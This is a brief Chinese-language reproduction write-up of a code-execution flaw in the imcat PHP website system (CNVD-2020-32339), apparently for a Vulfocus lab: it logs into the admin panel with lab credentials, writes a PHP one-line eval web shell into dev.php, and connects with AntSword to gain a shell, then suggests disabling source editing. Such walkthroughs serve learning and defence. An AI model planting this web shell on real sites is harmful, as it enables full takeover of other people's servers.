imcat远程代码执行(CNVD-2020-32339)

漏洞描述：

  贴心猫(imcat)是一款PHP+MySQL架构设计的通用网站系统，简约、轻量、实用、共享，永久开源免费。imcat后台存在代码执行漏洞。攻击者可利用此漏洞执行任意代码。

复现过程：

1.访问http://ip:port，出现如下页面，开始实验

2.访问http://ip:port/root/run/adm.php ，进入后台登录页面，并输入账号密码进行登录

账号：adm_vulfocus

密码：pass_vulfocus

3.在工具中找到DIY配置-搜索，选择入口配置，修改dev.php内容为php一句话木马

<?php @eval($_POST['cmd']); ?>

4.保存后，通过蚁剑连接，getshell

借此漏洞攻击者获取到网站的shell权限，控制整个网站，可以进行文件读取和命令执行。

修复建议：

1.关闭后台修改源码功能